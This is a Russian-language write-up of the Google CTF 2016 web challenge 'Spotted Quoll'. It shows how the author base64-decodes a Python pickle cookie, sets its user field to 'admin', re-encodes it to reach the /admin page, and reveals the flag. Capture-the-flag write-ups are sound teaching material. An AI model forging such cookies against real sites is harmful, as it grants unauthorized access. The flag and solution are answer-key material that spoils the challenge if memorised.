Web GoogleCFT2016 - Spotted Quoll
Давайте разберем оставшийся web таск с GoogleCTF 2016.
Задание:
This blog on Zombie research looks like it might be interesting - can you break into the /admin section?
https://spotted-quoll.ctfcompetition.com/
https://spotted-quoll.ctfcompetition.com/
Переходим по ссылке и видим следующее:
Единственное, что притягивает наш взгляд, это кнопка Admin, при нажатии на которую нас переадресовывает на https://spotted-quoll.ctfcompetition.com/#err=user_not_found
Т.к. я пользуюсь BurpSuite, то почти сразу же заметил, что нам были присвоены куки:
obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu
Очевидно, что они зашифрованы алгоритмом base64. Расшифруем, используя программы (как BurpSuite) или онлайн сервисами (как base64.ru).
В итоге получаем следующее:
(dp1
S'python'
p2
S'pickles'
p3
sS'subtle'
p4
S'hint'
p5
sS'user'
p6
Ns.
Нагуглив узнаем, что это сериализованный с помощью библиотеки pickle (Python) объект.
Попробуем его расшифровать:
>>> import pickle,base64
>>> pickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu"))
{'subtle': 'hint', 'user': None, 'python': 'pickles'}
Один нюанс
Внимание! У Вас нет прав для просмотра скрытого текста.
Заменяем в данном обьекте юзера на admin и кодируем в Base64:
>>> obj = pickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu"))
>>> obj["user"]="admin"
>>> obj
{'subtle': 'hint', 'user': 'admin', 'python': 'pickles'}
>>> pickle.dumps(obj)
"(dp0\nS'python'\np1\nS'pickles'\np2\nsS'subtle'\np3\nS'hint'\np4\nsS'user'\np5\nS'admin'\np6\ns."
>>> base64.b64encode(pickle.dumps(obj))
'KGRwMApTJ3B5dGhvbicKcDEKUydwaWNrbGVzJwpwMgpzUydzdWJ0bGUnCnAzClMnaGludCcKcDQKc1MndXNlcicKcDUKUydhZG1pbicKcDYKcy4='
Заменяем куки и повторно переходим во вкладку Admin:
Успех!
FLAG: CTF{but_wait,theres_more.if_you_call}
- Автор: drakylar
- Комментарии: 0
- Просмотры: 2601